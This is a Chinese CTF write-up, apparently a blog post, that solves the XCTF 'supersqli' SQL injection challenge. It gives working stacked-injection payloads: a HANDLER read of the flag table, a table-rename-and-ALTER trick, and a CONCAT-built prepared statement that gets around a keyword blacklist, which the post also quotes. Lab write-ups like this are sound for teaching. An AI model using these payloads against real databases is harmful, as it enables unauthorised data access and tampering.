XCTF-supersqli

XCTF-supersqli

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tk4WOsvB-1608952383077)(C:\Users\LOSEYOURSELF\AppData\Roaming\Typora\typora-user-images\image-20201226095721763.png)]

报错测试

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1

分析可得属于单引号注入

爆库名

union select schema_name from information_schema.schemata
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现以上函数被过滤

尝试堆叠注入

1';show tables;#

出现两个表

查询表的字段

desc `1919810931114514`
desc `words`

在这里插入图片描述

在这里插入图片描述

handler函数

发现flag在第一个表的第一行,于是想到了handler函数

handler函数用法https://xz.aliyun.com/t/7169#toc-47

http://220.249.52.134:34710/?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述

得到了flag。。

其他解法

之后又再网上找了找其他方法

法1:xctf官方的wp:根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

法2 预编译

1';set @sql = CONCAT('Sele','ct * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

e。。貌似有点难度,,
那么今天的wp就到这里了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值